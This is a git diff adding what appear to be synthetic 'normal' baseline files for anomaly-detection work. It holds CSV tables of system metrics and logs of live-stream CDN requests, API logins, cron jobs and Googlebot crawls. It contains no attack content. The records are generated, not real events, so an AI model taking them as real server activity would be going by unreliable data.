/live/stream/product-launch-2025/segment1158.ts HTTP/1.1" 206 987654 +Aug 19 17:07:29 cdn-access[954]: 10.0.85.138 - - [19/Aug/2025:17:07:29 ] "GET /live/stream/product-launch-2025/segment1180.ts HTTP/1.1" 206 987654 +Aug 19 17:07:29 cdn-access[954]: 10.0.162.68 - - [19/Aug/2025:17:07:29 ] "GET /live/stream/product-launch-2025/segment1427.ts HTTP/1.1" 200 987654 +Aug 19 17:07:29 cdn-access[954]: 10.0.156.130 - - [19/Aug/2025:17:07:29 ] "GET /live/stream/product-launch-2025/segment1486.ts HTTP/1.1" 206 987654 +Aug 19 17:07:29 cdn-access[954]: 10.0.237.106 - - [19/Aug/2025:17:07:29 ] "GET /live/stream/product-launch-2025/segment1444.ts HTTP/1.1" 200 987654 diff --git a/norm_dataset/scenario_7/norm_7_9.csv b/norm_dataset/scenario_7/norm_7_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..7af6944fb811ec51c0d13d670a1be34e3f829d70 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,network_connections +2025-08-20T10:00:00Z,13.07,41.82,21.59,2.14,3.97,103 +2025-08-20T10:00:05Z,16.2,42.84,25.13,2.1,4.14,54 +2025-08-20T10:00:10Z,13.95,44.17,32.21,2.31,4.53,56 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a/norm_dataset/scenario_7/norm_7_9.log b/norm_dataset/scenario_7/norm_7_9.log new file mode 100644 index 0000000000000000000000000000000000000000..6a40f612737d86e39ef26b23a25ff5f4c27fd160 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_9.log @@ -0,0 +1,1478 @@ +Aug 20 10:00:00 server-1 systemd[1]: Started session 1234 of user root. +Aug 20 10:00:05 server-1 web-app[2513]: POST /api/v1/login status=200 OK +Aug 20 10:00:10 server-1 web-app[2513]: POST /api/v1/login status=200 OK +Aug 20 10:00:15 server-1 web-app[2513]: POST /api/v1/login status=200 OK +Aug 20 10:00:20 server-1 systemd[1]: Created slice User Slice of UID 0. +Aug 20 10:00:25 server-1 web-app[2513]: GET /api/v1/status status=200 OK +Aug 20 10:00:30 server-1 web-app[2513]: POST /api/v1/login status=200 OK +Aug 20 10:00:35 server-1 CRON[18722]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:00:40 server-1 systemd[1]: Created slice User Slice of UID 0. +Aug 20 10:00:45 server-1 web-app[2513]: GET /api/v1/user/598 status=200 OK +Aug 20 10:00:50 server-1 web-app[2513]: GET /api/v1/user/598 status=200 OK +Aug 20 10:00:55 server-1 web-app[2513]: GET /api/v1/user/598 status=200 OK +Aug 20 10:01:00 server-1 systemd[1]: Starting daily clean up activities... +Aug 20 10:01:05 server-1 web-app[2513]: GET /api/v1/user/598 status=200 OK +Aug 20 10:01:10 server-1 CRON[17172]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:01:15 server-1 web-app[2513]: POST /api/v1/login status=200 OK +Aug 20 10:01:20 server-1 systemd[1]: Starting daily clean up activities... +Aug 20 10:01:25 server-1 web-app[2513]: GET /api/v1/user/598 status=200 OK +Aug 20 10:01:30 server-1 web-app[2513]: POST /api/v1/login status=200 OK +Aug 20 10:01:35 server-1 web-app[2513]: GET /api/v1/status status=200 OK +Aug 20 10:01:40 server-1 systemd[1]: Started session 1234 of user root. +Aug 20 10:01:45 server-1 CRON[18669]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:01:50 server-1 web-app[2513]: GET /api/v1/user/598 status=200 OK +Aug 20 10:01:55 server-1 web-app[2513]: POST /api/v1/login status=200 OK +Aug 20 10:02:00 server-1 systemd[1]: Started session 1234 of user root. +Aug 20 10:02:05 server-1 web-app[2513]: GET /api/v1/user/598 status=200 OK +Aug 20 10:02:10 server-1 web-app[2513]: POST /api/v1/login status=200 OK +Aug 20 10:02:15 server-1 web-app[2513]: GET /api/v1/status status=200 OK +Aug 20 10:02:20 server-1 systemd[1]: Created slice User Slice of UID 0. +Aug 20 10:02:25 server-1 web-app[2513]: GET /api/v1/user/598 status=200 OK +Aug 20 10:02:30 server-1 cdn-edge[8341]: 132.16.214.159 - - [20/Aug/2025:10:02:30 ] "GET /streams/product-launch-2025/segment8.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:30 server-1 cdn-edge[8341]: 153.99.75.244 - - [20/Aug/2025:10:02:30 ] "GET /streams/product-launch-2025/segment6.ts HTTP/1.1" 200 15234 "-" "VLC/3.0.16 LibVLC/3.0.16" +Aug 20 10:02:30 server-1 cdn-edge[8341]: 166.77.247.110 - - [20/Aug/2025:10:02:30 ] "GET /streams/product-launch-2025/segment9.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:30 server-1 cdn-edge[8341]: 203.54.36.102 - - [20/Aug/2025:10:02:30 ] "GET /streams/product-launch-2025/segment1.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:30 server-1 cdn-edge[8341]: 241.105.219.64 - - [20/Aug/2025:10:02:30 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:30 server-1 cdn-edge[8341]: 26.103.90.245 - - [20/Aug/2025:10:02:30 ] "GET /streams/product-launch-2025/segment5.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:30 server-1 cdn-edge[8341]: 30.4.72.220 - - [20/Aug/2025:10:02:30 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:30 server-1 web-app[2513]: INFO: Broadcasting stream to CDN endpoints. +Aug 20 10:02:30 server-1 web-app[2513]: INFO: Live stream 'product-launch-2025' has started. +Aug 20 10:02:32 server-1 cdn-edge[8341]: 166.48.162.53 - - [20/Aug/2025:10:02:32 ] "GET /streams/product-launch-2025/segment4.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:32 server-1 cdn-edge[8341]: 185.83.31.251 - - [20/Aug/2025:10:02:32 ] "GET /streams/product-launch-2025/segment11.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:32 server-1 cdn-edge[8341]: 20.130.107.241 - - [20/Aug/2025:10:02:32 ] "GET /streams/product-launch-2025/segment3.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:32 server-1 cdn-edge[8341]: 5.89.196.204 - - [20/Aug/2025:10:02:32 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:33 server-1 cdn-edge[8341]: 208.51.166.34 - - [20/Aug/2025:10:02:33 ] "GET /streams/product-launch-2025/segment10.ts HTTP/1.1" 200 15234 "-" "VLC/3.0.16 LibVLC/3.0.16" +Aug 20 10:02:33 server-1 cdn-edge[8341]: 214.80.155.43 - - [20/Aug/2025:10:02:33 ] "GET /streams/product-launch-2025/segment2.ts HTTP/1.1" 200 15234 "-" "VLC/3.0.16 LibVLC/3.0.16" +Aug 20 10:02:33 server-1 cdn-edge[8341]: 247.56.9.33 - - [20/Aug/2025:10:02:33 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:34 server-1 cdn-edge[8341]: 169.67.141.70 - - [20/Aug/2025:10:02:34 ] "GET /streams/product-launch-2025/segment7.ts HTTP/1.1" 200 15234 "-" "VLC/3.0.16 LibVLC/3.0.16" +Aug 20 10:02:35 server-1 cdn-edge[8341]: 202.58.150.156 - - [20/Aug/2025:10:02:35 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:35 server-1 cdn-edge[8341]: 245.47.185.40 - - [20/Aug/2025:10:02:35 ] "GET /streams/product-launch-2025/segment17.ts HTTP/1.1" 200 15234 "-" "VLC/3.0.16 LibVLC/3.0.16" +Aug 20 10:02:36 server-1 cdn-edge[8341]: 217.219.130.164 - - [20/Aug/2025:10:02:36 ] "GET /streams/product-launch-2025/segment18.ts HTTP/1.1" 200 15234 "-" "VLC/3.0.16 LibVLC/3.0.16" +Aug 20 10:02:36 server-1 cdn-edge[8341]: 244.238.54.115 - - [20/Aug/2025:10:02:36 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:36 server-1 cdn-edge[8341]: 29.52.42.176 - - [20/Aug/2025:10:02:36 ] "GET /streams/product-launch-2025/segment21.ts HTTP/1.1" 200 15234 "-" "VLC/3.0.16 LibVLC/3.0.16" +Aug 20 10:02:36 server-1 cdn-edge[8341]: 96.50.181.195 - - [20/Aug/2025:10:02:36 ] "GET /streams/product-launch-2025/segment22.ts HTTP/1.1" 200 15234 "-" "VLC/3.0.16 LibVLC/3.0.16" +Aug 20 10:02:37 server-1 cdn-edge[8341]: 109.150.230.104 - - [20/Aug/2025:10:02:37 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:37 server-1 cdn-edge[8341]: 205.190.118.154 - - [20/Aug/2025:10:02:37 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:37 server-1 cdn-edge[8341]: 240.161.53.173 - - [20/Aug/2025:10:02:37 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:37 server-1 cdn-edge[8341]: 28.93.24.163 - - [20/Aug/2025:10:02:37 ] "GET /streams/product-launch-2025/segment20.ts HTTP/1.1" 200 15234 "-" "VLC/3.0.16 LibVLC/3.0.16" +Aug 20 10:02:37 server-1 cdn-edge[8341]: 39.109.227.14 - - [20/Aug/2025:10:02:37 ] "GET /streams/product-launch-2025/segment19.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:37 server-1 cdn-edge[8341]: 53.243.69.115 - - [20/Aug/2025:10:02:37 ] "GET /streams/product-launch-2025/segment15.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:37 server-1 cdn-edge[8341]: 94.28.235.64 - - [20/Aug/2025:10:02:37 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:38 server-1 cdn-edge[8341]: 129.179.80.102 - - [20/Aug/2025:10:02:38 ] "GET /streams/product-launch-2025/segment12.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:38 server-1 cdn-edge[8341]: 150.243.231.10 - - [20/Aug/2025:10:02:38 ] "GET /streams/product-launch-2025/segment16.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:38 server-1 cdn-edge[8341]: 81.11.188.83 - - [20/Aug/2025:10:02:38 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:39 server-1 cdn-edge[8341]: 113.3.121.18 - - [20/Aug/2025:10:02:39 ] "GET /streams/product-launch-2025/segment14.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:39 server-1 cdn-edge[8341]: 138.81.4.168 - - [20/Aug/2025:10:02:39 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:39 server-1 cdn-edge[8341]: 191.215.64.155 - - [20/Aug/2025:10:02:39 ] "GET /streams/product-launch-2025/segment13.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:39 server-1 cdn-edge[8341]: 228.165.136.105 - - [20/Aug/2025:10:02:39 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:40 server-1 cdn-edge[8341]: 141.247.5.167 - - [20/Aug/2025:10:02:40 ] "GET /streams/product-launch-2025/segment33.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:40 server-1 cdn-edge[8341]: 154.40.114.154 - - [20/Aug/2025:10:02:40 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:40 server-1 cdn-edge[8341]: 170.46.59.97 - - [20/Aug/2025:10:02:40 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:41 server-1 cdn-edge[8341]: 111.28.206.151 - - [20/Aug/2025:10:02:41 ] "GET /streams/product-launch-2025/segment39.ts HTTP/1.1" 200 15234 "-" "VLC/3.0.16 LibVLC/3.0.16" +Aug 20 10:02:41 server-1 cdn-edge[8341]: 112.228.199.1 - - [20/Aug/2025:10:02:41 ] "GET /streams/product-launch-2025/segment32.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:41 server-1 cdn-edge[8341]: 114.63.239.125 - - [20/Aug/2025:10:02:41 ] "GET /streams/product-launch-2025/segment27.ts HTTP/1.1" 200 15234 "-" "VLC/3.0.16 LibVLC/3.0.16" +Aug 20 10:02:41 server-1 cdn-edge[8341]: 130.32.114.247 - - [20/Aug/2025:10:02:41 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:41 server-1 cdn-edge[8341]: 198.200.82.72 - - [20/Aug/2025:10:02:41 ] "GET /streams/product-launch-2025/segment38.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:41 server-1 cdn-edge[8341]: 220.209.18.101 - - [20/Aug/2025:10:02:41 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:41 server-1 cdn-edge[8341]: 46.17.55.22 - - [20/Aug/2025:10:02:41 ] "GET /streams/product-launch-2025/segment29.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 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/streams/product-launch-2025/segment37.ts HTTP/1.1" 200 15234 "-" "VLC/3.0.16 LibVLC/3.0.16" +Aug 20 10:02:42 server-1 cdn-edge[8341]: 244.27.202.11 - - [20/Aug/2025:10:02:42 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:42 server-1 cdn-edge[8341]: 252.9.94.27 - - [20/Aug/2025:10:02:42 ] "GET /streams/product-launch-2025/segment24.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:42 server-1 cdn-edge[8341]: 7.225.16.24 - - [20/Aug/2025:10:02:42 ] "GET /streams/product-launch-2025/segment34.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:42 server-1 cdn-edge[8341]: 78.129.86.132 - - [20/Aug/2025:10:02:42 ] "GET /streams/product-launch-2025/segment26.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:43 server-1 cdn-edge[8341]: 204.33.183.203 - - [20/Aug/2025:10:02:43 ] "GET /streams/product-launch-2025/segment35.ts HTTP/1.1" 200 15234 "-" "VLC/3.0.16 LibVLC/3.0.16" +Aug 20 10:02:43 server-1 cdn-edge[8341]: 216.37.166.177 - - [20/Aug/2025:10:02:43 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:43 server-1 cdn-edge[8341]: 251.211.209.161 - - [20/Aug/2025:10:02:43 ] "GET /streams/product-launch-2025/segment30.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:43 server-1 cdn-edge[8341]: 40.160.172.155 - - [20/Aug/2025:10:02:43 ] "GET /streams/product-launch-2025/live.m3u8 HTTP/1.1" 200 431 "-" "AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" 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"AppleCoreMedia/1.0.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" +Aug 20 10:02:45 server-1 cdn-edge[8341]: 119.17.107.184 - - [20/Aug/2025:10:02:45 ] "GET /streams/product-launch-2025/segment58.ts HTTP/1.1" 200 15234 "-" "VLC/3.0.16 LibVLC/3.0.16" +Aug 20 10:02:45 server-1 cdn-edge[8341]: 174.3.167.104 - - [20/Aug/2025:10:02:45 ] "GET /streams/product-launch-2025/segment51.ts HTTP/1.1" 200 15234 "-" "VLC/3.0.16 LibVLC/3.0.16" +Aug 20 10:02:45 server-1 cdn-edge[8341]: 177.215.1.145 - - [20/Aug/2025:10:02:45 ] "GET /streams/product-launch-2025/segment47.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:45 server-1 cdn-edge[8341]: 213.193.40.148 - - [20/Aug/2025:10:02:45 ] "GET /streams/product-launch-2025/segment53.ts HTTP/1.1" 206 8192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:02:46 server-1 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a/norm_dataset/scenario_8/norm_8_1.csv b/norm_dataset/scenario_8/norm_8_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..f6da827da7c339dd4028890a4a89afb8c40de7bb --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,16.076764050910704,46.375617515206216,36.37373573843141,1.1050616075671775,0.8014968682276169 +2025-07-03T10:00:05Z,13.375288963826167,42.46311278195661,25.715635989863443,1.1923217321911541,0.8389492138037916 +2025-07-03T10:00:10Z,12.748039558811847,44.34490569280503,28.53330435695632,1.1048883940527792,0.7522962123604144 +2025-07-03T10:00:15Z,15.706232899128254,47.91595967226176,29.163912461880486,0.9041660484625406,0.6622156493419868 +2025-07-03T10:00:20Z,17.432051251794164,46.07110387433582,38.22526962107625,0.745566158533484,0.6247957008112485 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+2025-07-03T10:07:10Z,12.76154186085649,41.630612684600116,33.64530900576792,1.197588121144796,0.5076875043425709 +2025-07-03T10:07:15Z,14.659847728078525,40.480628850017446,28.858546706836044,0.7434375886239857,0.6727500126895961 +2025-07-03T10:07:20Z,15.66181467649739,42.04081366698782,25.755822844782237,0.883863758127791,0.6026548730972645 +2025-07-03T10:07:25Z,12.917478073546267,39.358581488840954,31.952571948418047,0.8638699244692227,0.7342969360236294 diff --git a/norm_dataset/scenario_8/norm_8_1.log b/norm_dataset/scenario_8/norm_8_1.log new file mode 100644 index 0000000000000000000000000000000000000000..861adf5f112e3518e269b5ce9ebe470f5dd7e199 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_1.log @@ -0,0 +1,647 @@ +Jul 03 10:00:00 web-server[4321]: 192.168.1.92 - - [03/Jul/2025:10:00:00 +0000] "GET /user/profile/23 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Jul 03 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:20 web-server[4321]: 192.168.1.198 - - [03/Jul/2025:10:00:20 +0000] "GET /user/profile/31 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 03 10:00:40 web-server[4321]: 192.168.1.66 - - [03/Jul/2025:10:00:40 +0000] "GET /user/profile/33 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Jul 03 10:00:50 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:00 web-server[4321]: 192.168.1.13 - - [03/Jul/2025:10:01:00 +0000] "GET /user/profile/37 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 03 10:01:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:20 web-server[4321]: 192.168.1.115 - - [03/Jul/2025:10:01:20 +0000] "GET /user/profile/21 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 03 10:01:40 web-server[4321]: 192.168.1.152 - - [03/Jul/2025:10:01:40 +0000] "GET /user/profile/33 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 03 10:01:40 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:00 web-server[4321]: 192.168.1.190 - - [03/Jul/2025:10:02:00 +0000] "GET /user/profile/28 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 03 10:02:20 web-server[4321]: 192.168.1.122 - - [03/Jul/2025:10:02:20 +0000] "GET /user/profile/30 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Jul 03 10:02:30 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:02:30 +0000] "GET /article/218 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:02:30 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:02:30 +0000] "GET /article/338 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:02:30 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:02:30 +0000] "GET /article/154 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:02:30 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:02:30 +0000] "GET /article/977 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:02:30 web-server[4321]: 66.249.66.1 - - [03/Jul/2025:10:02:30 +0000] "GET /article/900 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:02:30 web-server[4321]: 66.249.66.1 - - [03/Jul/2025:10:02:30 +0000] "GET /article/506 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:02:30 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:02:30 +0000] "GET /article/795 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:02:30 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:02:30 +0000] "GET /article/193 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:02:30 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:02:30 +0000] "GET /article/333 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:02:30 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:02:30 +0000] "GET /article/909 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:02:30 web-server[4321]: 66.249.66.1 - - [03/Jul/2025:10:02:30 +0000] "GET /article/562 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:02:30 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:02:30 +0000] "GET /article/244 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:02:30 web-server[4321]: 66.249.66.1 - - [03/Jul/2025:10:02:30 +0000] "GET /article/525 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:02:30 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:02:30 +0000] "GET /article/449 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:02:30 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:02:30 +0000] "GET /article/79 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:02:30 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:02:30 +0000] "GET /article/100 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:02:30 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:02:30 +0000] "GET /article/649 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 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"GET /article/948 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:45 web-server[4321]: 66.249.66.1 - - [03/Jul/2025:10:04:45 +0000] "GET /article/6 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.66.1 - - [03/Jul/2025:10:04:50 